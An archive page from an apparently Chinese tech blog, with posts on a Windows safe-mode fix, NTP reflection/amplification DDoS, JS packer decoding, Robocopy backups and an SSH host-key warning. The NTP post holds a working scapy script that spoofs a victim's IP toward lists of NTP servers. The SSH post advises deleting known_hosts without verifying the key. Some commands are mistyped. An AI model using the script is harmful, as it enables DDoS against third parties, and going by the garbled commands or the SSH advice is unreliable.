存档

文章标签 ‘安全’

修复win10 F8无法进入安全模式的方法

2019年3月1日 没有评论

windwos的操作系统中一个模式叫做安全模式,很多无法在开机时修复的故障或是设置都可以进入到安全模式中处理。小编最近在使用win10系统的时候经常会遇到这样的情况,关机重启之后按下F8按钮电脑不会有任何的反应,依旧是正常的开机,无法打开系统中的安全模式,这是什么回事呢?大家在遇到这样的故障是不用太过担心,我们使用一个命令语句就可以解决这个问题。

随后将下面的代码复制粘贴进去,然后按下回车键进行执行!

  bcdedit set {default} bootmenupolicy legac

等待系统自动执行完毕之后大家可以重新关闭电脑,此时再次使用F8按键就可以进入到安全模式中去了!PS:有的用户担心错过按下F8的机会,可以一直连续点击,这样就可以进入到提示界面了!

浅析基于 NTP 的反射和放大攻击

2016年3月3日 没有评论

最近一段时间 DDoS 攻击事件让基于 NTP 的 DDoS 攻击变得很火热。
1.什么是 NTP
NTP 是网络时间协议(Network Time Protocol)的简称,干嘛用的呢?就是通过网络协议使计算机之前的时间同步化。

2.NTP 反射和放大攻击
那什么是 NTP 反射和放大攻击呢?如果听过 DNS 反射和放大攻击的话应该就会对这个比较容易理解了,协议不同,效果一样。

我们先来说说放射和放大攻击:

无论是基于 DNS 还是基于 NTP,其最终都是基于 UDP 协议的。在 UDP 协议中正常情况下客户端发送请求包到服务端,服务端返回响应包到客户端,但是 UDP 协议是面向无连接的,所以客户端发送请求包的源 IP 很容易进行伪造,当把源 IP 修改为受害者的 IP,最终服务端返回的响应包就会返回到受害者的 IP。这就形成了一次反射攻击。

放大攻击呢就是一次小的请求包最终会收到一个或者多个多于请求包许多倍的响应包,这样就达到了四两拨千斤的效果。

那我们接着来看什么是 NTP 的反射和放大攻击,NTP 包含一个 monlist 功能,也被成为 MON_GETLIST,主要用于监控 NTP 服务器,NTP 服务器响应 monlist 后就会返回与 NTP 服务器进行过时间同步的最后 600 个客户端的 IP,响应包按照每 6 个 IP 进行分割,最多有 100 个响应包。

我们可以通过 ntpdc 命令向一个 NTP 服务器发送 monlist 以及结合抓包来看下实际的效果。

vps12com@test ~$ ntpdc -n -c monlist x.x.x.x | wc -l

602


在上面的命令行中我们可以看到一次含有 monlist 的请求收到 602 行数据,除去头两行是无效数据外,正好是 600 个客户端 IP 列表,并且从上面图中的 wireshark 中我们也看到显示有 101 个 NTP 协议的包,除去一个请求包,正好是 100 个响应包。

从上图中我们可以看到请求包的大小为 234 字节,每个响应包为 482 字节,如果单纯按照这个数据我们可以计算出放大的倍数是:482*100/234 = 206 倍。其实如果通过编写攻击脚本,请求包会更小,这个倍数值会更大,这样算起来是不是蛮屌的。

我们通过 scapy 实现一个简单的攻击脚本,代码如下:

?View Code PYTHON
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
# author: vps12.com
 
import sys
from scapy.all import *
 
def attack(target, ntp_server):
    send(IP(dst=ntp_server, src=target)/(UDP(sport=52816)/NTP(version=2, mode=7, stratum=0, poll=3, precision=42)))
 
if __name__ == "__main__":
    if len(sys.argv) != 3:
        sys.exit(1)
 
    target = sys.argv[1]
    ntp_server_file = sys.argv[2]
    for ntp_server in open(ntp_server_file, "r"):
        ntp_server = ntp_server.strip()
        if ntp_server != "":
            attack(target, ntp_server)

如何防御
我们可以分为两种情况进行防御
一、加固 NTP 服务
1. 把 NTP 服务器升级到 4.2.7p26及以上。
2. 关闭现在 NTP 服务的 monlist 功能,在ntp.conf配置文件中增加`disable monitor`选项
3. 在网络出口封禁 UDP 123 端口
二、防御 NTP 反射和放大攻击
1. 由于这种攻击的特征比较明显,所以可以通过网络层或者借助运营商实施 ACL 来防御
2. 使用防 DDoS 设备进行清洗

1秒破解 js packer 加密

2016年2月11日 没有评论

看了篇对js加密解密的方法,转了别人的文章,希望对浏览器大家编程的实现原理有一定的帮助。

eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c]);return p;}(‘(1(){1 4(0){6(0){2 0};2 5};7 3=4();8(3)})();’,9,9,’a|function|return|ret|test|123|if|var|alert’.split(‘|’),0,{}))
类似这样一段代码,高手见了笑而不语,熟悉js的朋友嗤之以鼻,js新人却茫然了,去各种群里问怎么解密。
我教你 1 秒解密 packer加密过的js (应该叫压缩更合适)。

打开谷歌或者火狐浏览器,然后按 F12,接着把这代码复制进去,
最后,去掉开头 4 个字母 eval 然后回车运行下就得到源码了。

chrome

firefox

格式化得到的源码后即可得到:(在线代码格式化 http://jsbeautifier.org/)

(function (){
function test(a) {
if (a) {
return a;
}
return 123;
}

var ret = test();
alert(ret);
})();
是不是 so easy ?

当然不是所有乱七八糟的代码都是这样解密的,用这个方法解密有一个特征。
eval 包裹着函数或者其他语句的密文都可以这样做,最常见的就是 packer压缩 了。

packer压缩 的特征是 eval(function(p,a,c,k,e,d) 或者 eval(function(p,a,c,k,e,r) 开头是这些的,用此方法1秒还原。

packer 谷歌翻译:打包机
packed 谷歌翻译:打包 (应该是 “已打包” 的意思)

很明显都不是什么加密,只是早前的一些打包算法而已,现在不推荐使用,效率不高不说,还没有任何安全性。
JS混淆加密压缩 http://tool.chinaz.com/js.aspx
这是站在工具提供的打包,混淆工具。感兴趣的朋友自己去测试下吧。

可能有朋友会说,明明比源码多,怎么能说这是压缩呢?
其实分析下他的算法就会发现,其实他是提取相同字符进行压缩的,所以相同单词越多,压缩率越大,来看个例子:

(function () {
var aaaaaaaaa=1;
aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;
return aaaaaaaaa;
})();
压缩后:

eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c]);return p;}(‘(3(){2 0=1;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;4 0})();’,5,5,’aaaaaaaaa||var|function|return’.split(‘|’),0,{}))
很明显变量aaaaaaaaa被替换成了0,这样就起到了压缩功能,所以用他压缩的前提是重复单词非常多的情况。

比较好的习惯是用 Google Closure,Uglifyjs,YUI Compressor 等工具进行打包压缩(我觉得应该叫编译更为恰当)。
这些工具打包压缩后的代码,优化了语句,把局部变量重命名为 a,b,c 这样的变量,所以大幅度的减小了代码容量。

比如:

(function (){
function test(text) {
if (text) {
return text;
}
return ‘hehe’;
}

var ret = test();
alert(ret);
})();
用 UglifyJS 编译后:

!function(){function a(a){return a?a:”hehe”}var b=a();alert(b)}();
不仅变量变成了 a,b 而且 if 语句也发生了变化,所以叫做编译更贴切。

再来试试刚才那段全是 aaaaa 的代码,用 UglifyJS 编译后就变成一行了:

!function(){var a=1;return a}();
是不是很神奇啊,大量的优化了垃圾代码。

著名的 jQuery 就是用 UglifyJS 编译的,也许你会说不是 grunt 构建的么,是的,但是编译器用的就是 UglifyJS。

分类: 编程实践 标签: , ,

Windows超强备份工具Robocopy备份方法使用详例

2015年8月24日 没有评论

Robocopy.exe 是微软在Windows server 2003 Resource Kit Tools里面提供的程序来做备份的Vista及win7开始,至Win2008以后都已经自带了。
  Microsoft Windows 中内置的传统的“复制和粘贴”功能有一些局限性。它在执行简单的任务(将一个文档从一个目录移动到另一个目录等)时处理得还好,但缺乏 IT 专业人员在工作场所所需的高级功能。例如,复制和粘贴操作不包括任何高级复原功能,所以不允许从短暂的网络中断后进行恢复。特别是当复制完整的目录时,它还是一个要么全有要么全无的问题。而使用 UI,您无法选择仅复制新文件还是复制更新过的文件。您可以复制单个的文件、整个目录或什么也不复制。
  启动 Robocopy,这个强大的工具包含在 Microsoft Windows Server 2003 Resource Kit Tools中,考虑到了上述所有高级功能以及更多功能。Robocopy 支持更多重要的文件复制任务,从而能够真正简化您的工作。我想您将发现最大的好处是,可以创建两个文件结构(可以根据您的选择包括所有子文件夹和文件)的完全的镜像副本而不复制任何不需要的文件。只复制源位置中的新文件或更新后的文件。Robocopy 还允许您保留所有相关文件信息,包括日期和时间戳、安全访问控制列表 (ACL) 及更多内容。

—————-【参数】——————-
robocopy /?
——————————————————————————-
ROBOCOPY :: Windows 的可靠文件复制
——————————————————————————-
启动时间: Fri May 08 17:10:13 2009
Usage :: ROBOCOPY source destination [file [file]…] [options]
源:: 源目录(驱动器:\路径或\\服务器\共享\路径)。
目录:: 目标目录(驱动器:\路径或\\服务器\共享\路径)。
文件:: 要复制的文件(名称/通配符: 默认为 “*.*”)。
::
:: 复制选项:
::
/S :: 复制子目录,但不复制空的子目录。
/E :: 复制子目录,包括空的子目录。
/LEV:n :: 仅复制源目录树的前 n 层。
/Z :: 在可重新启动模式下复制文件。
/B :: 在备份模式下复制文件。
/ZB :: 使用可重新启动模式;如果拒绝访问,请使用备份模式。
/EFSRAW :: 在 EFS RAW 模式下复制所有加密的文件。
/COPY:复制标记:: 要复制的文件内容(默认为 /COPY:DAT)。
(复制标记: D=数据,A=属性,T=时间戳)。
(S=安全=NTFS ACL,O=所有者信息,U=审核信息)。
/DCOPY:T :: 复制目录时间戳。
/SEC :: 复制具有安全性的文件(等同于 /COPY:DATS)。
/COPYALL :: 复制所有文件信息(等同于 /COPY:DATSOU)。
/NOCOPY :: 不复制任何文件信息(与 /PURGE 一起使用生效)。
/SECFIX :: 修复所有文件的文件安全性,即使是跳过的文件。
/TIMFIX :: 修复所有文件的文件时间,即使是跳过的文件。
/PURGE :: 删除源中不再存在的目标文件/目录。
/MIR :: 镜像目录树(等同于 /E 和 /PURGE)。
/MOV :: 移动文件(复制后从源中删除)。
/MOVE :: 移动文件和目录(复制后从源中删除)。
/A+:[RASHCNET] :: 将给定的属性添加到复制文件。
/A-:[RASHCNET] :: 从复制文件中删除给定的属性。
/CREATE :: 仅创建目录树和长度为零的文件。
/FAT :: 仅使用 8.3 FAT 文件名创建目标文件。
/256 :: 关闭超长路径(> 256 字符)支持。
/MON:n :: 监视源;发现多于 n 个更改时再次运行。
/MOT:m :: 监视源;如果更改,在 m 分钟时间内再次运行。
/RH:hhmm-hhmm :: 运行小时数 – 可以启动新副本的时间。
/PF :: 以每个文件(而不是每个步骤)为基础检查运行小时数。
/IPG:n :: 程序包间的间距(ms),以释放低速线路上的带宽。
/SL:: 对照目标复制符号链接。
::
:: 文件选择选项:
::
/A :: 仅复制具有存档属性集的文件。
/M :: 仅复制具有存档属性的文件并重置存档属性。
/IA:[RASHCNETO] :: 仅包含具有任意给定属性集的文件。
/XA:[RASHCNETO] :: 排除具有任意给定属性集的文件。
/XF 文件[文件]… :: 排除与给定名称/路径/通配符匹配的文件。
/XD 目录[目录]… :: 排除与给定名称/路径匹配的目录。
/XC :: 排除已更改的文件。
/XN :: 排除较新的文件。
/XO :: 排除较旧的文件。
/XX :: 排除多余的文件和目录。
/XL :: 排除孤立的文件和目录。
/IS :: 包含相同文件。
/IT :: 包含已调整的文件。
/MAX:n :: 最大的文件大小 – 排除大于 n 字节的文件。
/MIN:n :: 最小的文件大小 – 排除小于 n 字节的文件。
/MAXAGE:n :: 最长的文件存在时间 – 排除早于 n 天/日期的文件。
/MINAGE:n :: 最短的文件存在时间 – 排除晚于 n 天/日期的文件。
/MAXLAD:n :: 最大的最后访问日期 – 排除自 n 以来未使用的文件。
/MINLAD:n :: 最小的最后访问日期 – 排除自 n 以来使用的文件。
(If n < 1900 then n = n days, else n = YYYYMMDD date)。
/XJ :: 排除接合点。(默认情况下通常包括)。
/FFT :: 假设 FAT 文件时间(2 秒粒度)。
/DST :: 弥补 1 小时的 DST 时间差。
/XJD :: 排除目录的接合点。
/XJF :: 排除文件的接合点。
::
:: 重试选项:
::
/R:n :: 失败副本的重试次数: 默认为 1 百万。
/W:n :: 两次重试间的等待时间: 默认为 30 秒。
/REG :: 将注册表中的 /R:n 和 /W:n 保存为默认设置。
/TBD :: 等待定义共享名称(重试错误 67)。
::
:: 日志记录选项:
::
/L :: 仅列出 – 不复制、添加时间戳或删除任何文件。
/X :: 报告所有多余的文件,而不只是选中的文件。
/V :: 生成详细输出,同时显示跳过的文件。
/TS :: 在输出中包含源文件的时间戳。
/FP :: 在输出中包含文件的完整路径名称。
/BYTES :: 以字节打印大小。
/NS :: 无大小 – 不记录文件大小。
/NC :: 无类别 – 不记录文件类别。
/NFL :: 无文件列表 – 不记录文件名。
/NDL :: 无目录列表 – 不记录目录名称。
/NP :: 无进度 – 不显示已复制的百分比。
/ETA :: 显示复制文件的预期到达时间。
/LOG:文件:: 将状态输出到日志文件(覆盖现有日志)。
/LOG+:文件:: 将状态输出到日志文件(附加到现有日志中)。
/UNILOG:文件:: 以 UNICODE 方式将状态输出到日志文件(覆盖现有日志)。
/UNILOG+:文件:: 以 UNICODE 方式将状态输出到日志文件(附加到现有日志中)。
/TEE :: 输出到控制台窗口和日志文件。
/NJH :: 没有作业标头。
/NJS :: 没有作业摘要。
/UNICODE :: 以 UNICODE 方式输出状态。
::
:: 作业选项 :
::
/JOB:作业名称:: 从命名的作业文件中提取参数。
/SAVE:作业名称:: 将参数保存到命名的作业文件
/QUIT :: 处理命令行后退出(以查看参数)。
/NOSD :: 未指定源目录。
/NODD :: 未指定目标目录。
/IF :: 包含以下文件。
—————-【例子】——————-
实例一:文件,想怎么复制就怎么复制
  [实现效果]
  随时将源文件夹中的纯文本(TXT)、Word文档(DOC)还有BMP、TIF图像文件复制到目标文件夹中,这是在“资源管理器”中直接拖放所做不到的。
[简单命令]
robocopy d:\work e:\back *.txt *.doc *.bmp *.tif /s
  [参数讲解]
  将d:\work文件下的TXT、DOC、BMP、TIF复制到e:\back文件夹,其他文件则不复制。/s是表示包括除空文件下的所有子目录,如果没有则仅复制d:\work下的文件而不包括子目录。
  [举一反三]
  (1)如果要将文件夹下的所有文件包括空文件夹全部复制到目标文件夹,命令为:robocopy d:\work e:\back /e
  /e表示复制所有子目录包括空文件夹。
  (2)如果只想复制两个层级内的文件(再下的层级里的文件则不拷贝),输入命令:robocopy d:\work e:\back /e /lev:2
  /lev:2表示复制的层级,比如指定层级后d:\work\soft(二级)下的文件会被复制,而d:\work\soft\office(***)下的文件则不被复制。
实例二:垃圾文件不复制
  [实现效果]在备份数据时,不可避免会将类似于*.bak、*.tmp的垃圾文件也复制到目标文件夹,用Robocopy可以将我们经常碰到的垃圾文件在拷贝时就清理出家门,从而生成一个干干净净的文件夹。
  [简单命令]
  robocopy d:\work e:\back /e /xf *.tmp *.bak
  [参数讲解]
  /xf为指定不执行复制操作的文件类型,后面的文件名支持通配符。如果参数为/xd,则表示排除后面指定的文件夹。
  实例三:大文件 我不要
  [实现效果]
  复制的时候,为了节省时间,需要将一些大文件暂时不拷贝,等有空闲时间时,再执行复制操作不迟。
  [简单命令]
  robocopy d:\work e:\back /e /max:6000000
  [参数讲解]
  仅复制不大于6000000bytes的文件,/max:后直接接数值,数值单位为byte。如果是/min:1000,则复制不小于1000bytes的文件。两个参数可以同时使用,界定复制文件大小的范围。
  实例四:只要这一周修改的文件
  [实现效果]
  这一周处理了哪些文档?编辑了那些文件?将这些修改了的文档复制到一个文件夹下,再好好回味一下。本例就是要将d:\work中最近七天内新建或修改了的TXT、DOC、XLS、PPT等文档,复制到e:\look目录下。
  [简单命令]
  robocopy d:\work e:\look /s *.txt *.doc *.xls *.ppt /maxage:7
  [参数讲解]
  /maxage:表示最远修改时间的,修改时间比这个还要旧的文件将不会被复制。/maxage:后可接数字,也可以接日期,数字小于1900时表示天数,否则就得用YYYYMMDD来表示具体的日期如/maxage:20040210表示2004年2月10日后被修改的文件才允许复制。与之相对应的参数是/minage,表示最近修改时间,比这个时间新的文件将不被复制。
  [举一反三]
  robocopy d:\work e:\look /s *.txt *.doc *.xls *.ppt /maxage:7 /minage:1
  则表示近七天内除今天外修改的文件才允许被复制。
  与修改时间相对的还有最近访问时间,/maxage指最远访问时间,比这个时间老的文件将不被复制。/minage是指最近访问时间,比这个时间新的文件将不被复制。
  实例五:我的文档排排站
  [实现效果]
  上例中复制时,所有的文档都会带来本身的路径信息,文档是会将其所存放的文件夹也复制过来。这给我们的翻阅查看带来很多不便,得单击多层文件夹才能看到文件,能不能将所有的文档直接复制到一个文件夹下呢?这个需要用XXCOPY来实现。
 [简单命令] 
  xxcopy d:\work e:\look /s /in*.txt /in*.doc /sg /yy /da:2004-02-02 /DB:2004-02-10/DA:1997-01-01
  [参数讲解]
  此命令将d:\work中从2004年2月2日到2月10生成的 TXT、DOC文件全部直接复制到e:\look目录下,不新建子文件夹,打开e:\look就能看到所有文件。XXCOPY和Robocopy的语法参数还是有较大差异的,表示指定文件类型时,XXCOPY会用/in*.*,表示日期时/da为在指定时间后,/db为在指定时间前,日期的表示为 YYYY- MM-DD。
  另外,/sg表示复制文件到同一文件夹,/yy表示在所有要求用户应答的地方都自动认为是Yes,在执行过程中不需要用户干预。
  实例六:完全克隆
  [实现效果]
  我们一般采取的复制方式默认是增量复制,即根据文件的大小、修改时间将源文件夹里的内容向目标文件夹复制,久而久之,目标文件夹里就可能存在大量源件夹里早已经删除且无用的文件和文件夹。如果要让备份完全相同,即拷贝时删除在目标文件夹里存在但源文件夹里并没有的文件。
  [简单命令]
  robcopy d:\work e:\look /mir
  [参数讲解]
  /mir的作用等同于/purge /e,/purge表示清理目标文件夹有而源文件夹里没有的文件(夹)。通过这个命令,能保证源文件夹和目标文件夹结构与文件完全相同。这在创建镜像备份时,非常有用。
  实例七:移动文件
  [实现效果]
  我们前面讲的都是复制,如果我们要将文件夹移动到目标文件夹,如何操作呢?
  [简单命令]
  robocopy d:\work e:\look /move /e
  [参数讲解]
  其中,/move表示移动。
  实例八:我只要文件夹骨架
  [实现效果]
  笔者的工作需要周期性地新建和整理大量的文件夹,每次的文件夹结构一样,只是文件不尽相同。如果是以前,就得一个一个简单重复去制作,而现在就不需要了。Robocopy和XXCOPY可以让你轻松实现复制文件夹结构。
  [简单命令]
  xxcopy d:\work e:\mystruct /t /yy /dl3
  [参数讲解]
  将d:\work的三层文件夹结构复制到e:\mystruct中。其中/t表示创建文件夹结构,/dl3表示复制的文件夹结构为***,数字可以自行输入,如果没有此参数,默认建立整个文件夹结构。  Robocopy创建文件夹相对要麻烦一些,/create参数不仅要创建结构,还要创建文件夹下所有文件的0字节文件,并非真正的结构,我们只好剑走偏锋了。
  robocopy d:\work e:\mystruct /e /lev:3 /minage:19000101
  为Robocopy指定一个不可能创建文件的时间,因为有参数/e 的作用,虽然没有文件符合要求(你机器里没有早于1900年1月1日的文件),但Robocopy还是会忠实地创建文件夹,这样就达到了生成文件夹结构的目的。另外,/lev:3表示复制文件夹的层级,同样可以自行输入。
  实例九:隐藏文件我不要
  [实现效果]
  在默认状态下,隐藏文件是并不显示的,但在复制的过程中,它还会随着文件夹一起被复制。可不可以将这些隐藏文件排除在复制范围之外呢?
  [简单命令]
  robocopy d:\work e:\back /e /xa:h
  [参数讲解]
  Robocopy支持对属性进行操作。上面的命令将复制源文件夹中全部文件,但全部具有隐藏属性的文件将不会被复制。/xa:h,表示将具有隐藏属性的排除出复制范围,与之相对应的是/ia,表示包括只对拥有指定属性的执行操作。属性有R:只读,A:存档,S:系统,H:隐藏等几种供选择。
  [举一反三]
  (1)此外,Robocopy还有/a+、/a-等参数对文件属性进行操作,分别表示在文件被拷贝后为文件添加、去除某属性。
  robocopy d:\work e:\back /ia:rs  
  表示只复制具有只读和系统属性的文件。
  (2)robocopy c: d: /-a:rsh
  表示将文件拷贝到D盘后,将拷贝生成的文件的只读、系统、隐藏属性去掉,以方便查看和修改。
  实例十:NTFS权限跟着走
  [实现效果]
  在使用Windows 2000、Windows XP时,在多用户使用一台电脑时或管理服务器时,经常要为文件夹指定用户访问和修改的权限(如图1,需要分区为NTFS)。不过,用一般的复制方式无法保留我们设置的权限,这在服务器备份时意味着我们得重新设置用户权限。不过,Robocopy可以让我们在复制文件的时候,将属性、用户权限、所有者都可以一并复制到目标文件夹中。

备份双友邻精彩5例-Robocopy和xxcopy全掌握
  [简单命令]
  robocopy d:\work e:\back /e /copyall
  [参数讲解]
  /copyall等于/copy:datsou,表示将所有源文件夹的信息复制到目标文件夹中,其中D:文件数据,A:文件属性,T:时间信息,S:权限信息,O:所有者信息,U:审核信息。
  [举一反三]
  如果源文件夹的权限被修改,需要同样更新目标文件夹的权限时,我们不必再重复复制,只需输入robocopy d:\work e:\back /is /copy:sou  如果没有/copy参数,默认为/copy:dat,没有后面三项的信息。
  实例十一:集中备份到文件服务器
  [实现效果]
  希望每天能够把相应数据备份到文件服务器上,以免数据丢失。
  [简单命令]
  robocopy d:\work \ctips_serverarticlesshare /e /copyall
  [参数讲解]
  从中可以看出,robocopy完全支持文件服务器共享文件夹数据的拷贝。
  [举一反三]
  (1)如果我们创建了一个环境变量,如定义%databack%为\ctips_serverarticles\back,那只要输入相应的命令:robocopy d:\work %databack% /e /copyall 即可把d:\work下的文件全部备份到\ctips_serverarticles\back下。当然,如果 \ctips_serverarticles\back空间不够时,只要更换环境变量的值到其他文件夹,如\ctips_serverarticles ewback,上述命令无需更改就可以反数据拷贝到新的文件夹中。
  (2)如果你只想把数据备份到共享文件夹中以你的机器名为名字的共享文件夹中,使用xxcopy会更方便:xxcopy d:\work \ctips_serverarticles/$HOST$ /e /yy 其中/$HOST$表示你的机器名,如你的机器名为CTIPS_SYJ,那会把d:\work 文件夹下的文件拷贝到\ctips_serverarticles\CTIPS_SYJ文件夹下。如果你的机器名为CTIPS_MLB,那执行上述命令后就可以把d:\work 文件夹下的文件拷贝到\ctips_serverarticles\CTIPS_MLB文件夹下。由于同局域网内的机器名字不会相同,执行上述命令后就可以保证数据不会被拷贝到同一文件夹下。
  实例十二:一动就备份
  [实现效果]
  有些工作内容非常重要,需要时时刻刻注意备份,可是我们哪里有这么好记性和耐性呢?这事,还是交给 Robocopy来做吧。Robocopy能时时监视要备份的文件夹,只要文件夹修改到一定时间和程序,Robocopy就会立即开始备份。它会一直监视文件夹,除非用户自己终止。
  [简单命令]
  robocopy d:\work e:\back /e /copyall /mot:1 /mon:2
  [参数讲解]
  上述命令表示复制文件夹所有信息到目标文件夹并进行监视。执行此命令后,命令提示符窗口如图2所示。一旦时间过了一分钟,并且源文件夹至少有或2处以上的修改,Robocopy就会自动启动另一个进程,执行上述备份操作。Robocopy能监视源文件夹结构、文件和文件夹名称、大小、最后修改时间,在这里,甚至连属性和权限等信息被修改时,Robocopy也会记为修改次数。备份双友邻精彩5例-Robocopy和xxcopy全掌握
   /mot后接的是时间(分钟),是指Robocopy执行操作的最短时间;/mon后接的是最少文件修改个数。在监视过程中,会自动记录时间和修改的次数,只有同时符合以上两个条件时,Robocopy才开始执行,执行完成后,这两个数据会自动清零,并重新开始监视文件夹,除非用户关闭命令提示符窗口或按下Ctrl+Break键。
  [举一反三]
  如果你要开机就监视并备份相应文件夹,则可以把上述命令放到“启动”组中。
  实例十三:不到时间不备份
  [实现效果]
  复制的过程总会占用系统资源,如果能设置在自己不在电脑边上的时候开始复制备份,就会方便得多。比如,每天5:50下班,希望下班后,到达6点时,Robocopy自动开始备份相应数据。
  [简单命令]
  robocopy d:\work e:\back /e /rh:1800-1830
  [举一反三]
  运行后,复制操作将会等待至指定时间开始(如图3)。其中,RH格式为/RH:hhmm-hhmm,指定Robocopy开始的时间段,在这个时间段外,拷贝会被暂停。时间为24小时格式,4个数字长,从0000到2359,而且两个数字不能相同。备份双友邻精彩5例-Robocopy和xxcopy 全掌握
  实例十四:计划任务备份
  以上的到时间备份、监视文件夹备份方式,每次重启系统会都会要重新执行以上命令,还远远不够智能,如果能和Windows的计划任务配合,所有问题就迎刃而解了。以我们要在每天10:00自动调用Robocopy开始监视备份文件夹为例,说一说计划任务与Robocopy的携手。
  第一步:新建BAT文件新建一个批处理文件autobak.bat,输入如下命令robocopy d:\work e:\back /e /copyall /mot:1 /mon:2
  第二步:创建计划任务选择“开始→设置→控制面板”,双击“任务计划”图标。把autobak.bat批处理文件拖放到“任务计划”窗口,然后双击新生成的autobak.bat图标,在弹出窗口中设置其属性。
  第三步:设置开始时间切换到“日程安排”标签,单击“任务计划”下拉列表框,从中选择“每天”,“开始时间”设置为10:00,单击“高级”可以设置起止的日期(如图4)。
  通过上述设置后,到了设置的时间,机器就会自动备份执行批处理文件,自动备份并监视文件夹。备份双友邻精彩5例-Robocopy和xxcopy全掌握
  实例十五:清理文件也拿手
  除了一般的复制功能,XXCOPY还有文件清理功能,可以将不需要的文件快速清理出硬盘。以下命令会清除文件和文件夹,请先建立测试文件夹掌握其操作后再对文件夹进行操作。
1.清除所有无用文件
xxcopy d:\work*.tmp /s /h /yy /rs
/rs表示不复制而直接从源文件夹中删除指定文件,/h表示指定隐藏和系统文件。
2.清除文件夹
xxcopy c: emp /rmdir /db:2002-01-01 /yy
删除c: emp中在2002年1月1日前的修改的文件夹。
3.删除空文件夹
xxcopy c: emp /rmdir /sz:0 /yy
删除c: emp下所有空文件夹,/sz:0指定大小为0的文件(夹)。
4.删除0字节文件
xxcopy c: emp*.* /sz:0 /s /h /yy /rs
通过以上四种方式的组合,我们可以轻松实现对文件及文件夹的整理工作。
最后,还有一几个小技巧告诉你,希望能有利于你更好地使用XXCOPY和Robocopy。
★将命令变成任务在Robocopy加上“/save:任务名”可以将当前操作记录为任务文件,通过“/job:任务名”就可以方便调用,不需要再输入一长串的命令了。此任务文件可以用纯文本编辑器(如记事本)来编辑。
★将复制备份过程录下来默认情况下,Robocopy的操作过程只是在命令提示符中显示,我们可以让它把操作过程输出为TXT文件,加上“/log:文件名.txt”即可。

/s是表示包括除空文件下的所有子目录.
/e表示复制所有子目录包括空文件夹。
/xf为指定不执行复制操作的文件类型,后面的文件名支持通配符。
如果参数为/xd,则表示排除后面指定的文件夹。
仅复制不大于6000000bytes的文件,/max:后直接接数值,数值单位为byte。如果是/min:1000,则复制不小于1000bytes的文件。两个参数可以同时使用,界定复制文件大小的范围。
/mir的作用等同于/purge /e,/purge表示清理目标文件夹有而源文件夹里没有的文件(夹)。
/xa:h,表示将具有隐藏属性的排除出复制范围,与之相对应的是/ia,表示包括只对拥有指定属性的执行操作。属性有R:只读,A:存档,S:系统,H:隐藏等几种供选择。
/copyall等于/copy:datsou,表示将所有源文件夹的信息复制到目标文件夹中,其中D:文件数据,A:文件属性,T:时间信息,S:权限信息,O:所有者信息,U:审核信息。

SSH登陆错误 WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!

2014年7月8日 没有评论

Connection to 192.168.2.2 closed.
[root@localhost ~]# ssh 192.168.2.2
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
1b:19:d2:4d:c8:88:bf:dc:d6:72:a7:0b:7b:73:07:d8.
Please contact your system administrator.
Add correct host key in /root/.ssh/known_hosts to get rid of this message.
Offending key in /root/.ssh/known_hosts:5
RSA host key for 192.168.2.2 has changed and you have requested strict checking.
Host key verification failed.

1.在客户端执行下述指令即可 #mv /root/.ssh/known_hosts /tmp

2.当然也可以直接编辑known_hosts文件,把里面与所要连接IP(192.168.10.20)相关的内容删掉即可.

本地用户和组 下边在该文档中引用的管理单元受到策略限制

2013年12月31日 没有评论

